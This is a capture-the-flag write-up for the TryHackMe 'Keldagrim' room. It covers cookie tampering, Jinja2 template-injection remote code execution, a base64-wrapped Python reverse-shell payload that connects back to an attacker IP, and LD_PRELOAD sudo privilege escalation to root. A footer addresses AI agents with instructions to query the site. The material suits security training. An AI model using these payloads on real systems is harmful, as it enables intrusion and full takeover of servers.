# Keldagrim

{% embed url="<https://tryhackme.com/room/keldagrim>" %}

### Phase 1 - Reconnaisance

<figure><img src="/files/DoBx4qDMr1ZxQW8xo7jl" alt=""><figcaption></figcaption></figure>

So there are 2 ports open, 22 and 80.

First, we check out port 80.\
We find a website, and after pressing the "Buy Gold" dropdown, the "Admin" page immediately stand out.

<figure><img src="/files/s4SR1Fbu4Rlt7tkM5TuL" alt=""><figcaption></figcaption></figure>

The `/admin` page shows the same text, and nothing special:

<figure><img src="/files/F3APHmdLz4M0kMS3qKzc" alt=""><figcaption></figcaption></figure>

To investigate further, we open `Burp Suite`:

<figure><img src="/files/lce1BzW9GWEILh9B08Fx" alt=""><figcaption></figcaption></figure>

There is a cookie named `Session`, with a base64-encoded `guest` value.

We change the value to `Admin` , and view the site again:

![](/files/K1OPXv5nifdEdB4tEX2P)

When reloading the page, it changes:

<figure><img src="/files/8wy2JM1iKJfxfUpLaG6D" alt=""><figcaption></figcaption></figure>

The page is empty, apart from a "Current user - `value`".

When checking into Burp suite again, another cookie gets added, with the `value` base64-encoded.

<figure><img src="/files/yudyyLN0hQ6twBR31Cqw" alt=""><figcaption></figcaption></figure>

We send the packet to the Burp Repeater by using `Ctrl - R`. \
Because we're dealing with a Python Werkzeug server, a good option to try is SSTI (Sever-Side Template Injection). There is more information about it [here](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection).

{% hint style="info" %}
Important notice:

The cookie will not work if the "="-characters at the end of the cookie get converted to "%3d" by the URL encoder. To bypass this, you can use either the "Base64 URL" option in the dropdown, or manually encode the cookie with the base64 command or cyberchef.
{% endhint %}

First, we test for SSTI:

<figure><img src="/files/HZQuvCnlb6gmfjqOKOrw" alt=""><figcaption></figcaption></figure>

The payload used is `{{7 * 7}}`, and the user gets reflected as `49`. This means SSTI works.

#### Finding RCE

First, we find out what kind of framework we're dealing with using this flowchart:

<figure><img src="/files/2Hp3lUXtrajri2HRlwpP" alt=""><figcaption></figcaption></figure>

After testing the payloads, we find out the framework is either `Twig` or `Jinja2`.

Jinja2 is more commonly used, so we will use [these payloads.](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2)

For RCE, this payload works:

{% code overflow="wrap" %}

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
// Base64:
e3sgc2VsZi5fX2luaXRfXy5fX2dsb2JhbHNfXy5fX2J1aWx0aW5zX18uX19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCkgfX0=
```

{% endcode %}

<figure><img src="/files/ALGW9YjObsdpRVrxMqpc" alt=""><figcaption></figcaption></figure>

The RCE works, so the next step is a reverse shell.

### Phase 2 - Foothold

To get the reverse shell, [revshells](https://www.revshells.com/) is a very handy tool.

In this example, we will use the `Python3 #1` payload.

The problem with this payload is that it uses both the single quotes (') and the double quotes ("). This means our SSTI will recognize the single quote as the end of the payload, giving us a 500 error.

In situations where you don't have access to the quote symbols, there is a good way to bypass them; base64.&#x20;

With the use of a few pipes, base64-encoded commands can be executed:

```
echo "BASE64_STRING" | base64 -d | bash         // Replace the BASE64_STRING with your base64 string.
```

We use the [CyberChef](https://gchq.github.io/CyberChef/) base64 module to encode our payload:

<figure><img src="/files/pMkeUPLYxgdOjhsG2saD" alt=""><figcaption></figcaption></figure>

Then we wrap the Base64-bypass and the payload around it:

{% code overflow="wrap" %}

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo ZXhwb3J0IFJIT1NUPSIxMC44LjEuMTY3IjtleHBvcnQgUlBPUlQ9NDQ0NDtweXRob24zIC1jICdpbXBvcnQgc3lzLHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KChvcy5nZXRlbnYoIlJIT1NUIiksaW50KG9zLmdldGVudigiUlBPUlQiKSkpKTtbb3MuZHVwMihzLmZpbGVubygpLGZkKSBmb3IgZmQgaW4gKDAsMSwyKV07cHR5LnNwYXduKCIvYmluL2Jhc2giKSc= | base64 -d | bash').read() }}
```

{% endcode %}

And we base64 encode it too:

<figure><img src="/files/xEKYGuxOWxZxcjMWeRYa" alt=""><figcaption></figcaption></figure>

So our reverse shell payload is ready.

Before executing it, we open a `netcat` listener:

![](/files/04cImpP4ljmcSU3L1Qgn)

Then, we paste the full payload into Burp suite, and press `Send`:

<figure><img src="/files/nd1elG5UBzQIpoqJdtM6" alt=""><figcaption></figcaption></figure>

And we get a reverse shell back:

![](/files/IwcjAq2z3rc3ACwVI94V)

### Phase 3 - Privilege Escalation

After running `sudo -l`, we see we can run `ps` as root:<br>

<figure><img src="/files/8qKGoGZmevxo8LaOkXb8" alt=""><figcaption></figcaption></figure>

`/bin/ps` itself isn't exploitable, but in the Environment settings, we see the `env_keep+=LD_PRELOAD` setting.

We will exploit it using the [HackTricks method](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path).

First, we create the file by copying the payload and using `echo ' + Ctrl-V + ' > /tmp/pe.c`:\
![](/files/1tMaMbKsLPkpXubC1klP)

The payload is now in `/tmp/pe.c`.

Then, we compile it:

<figure><img src="/files/D1jTGUO54VJboaG4WHEj" alt=""><figcaption></figcaption></figure>

And finally, we execute it using `sudo LD_PRELOAD=/tmp/pe.so ps`:

![](/files/Tzw6hIUKK0oeRGMd0c7H)

And we have root.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eduw.gitbook.io/writeups/keldagrim.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
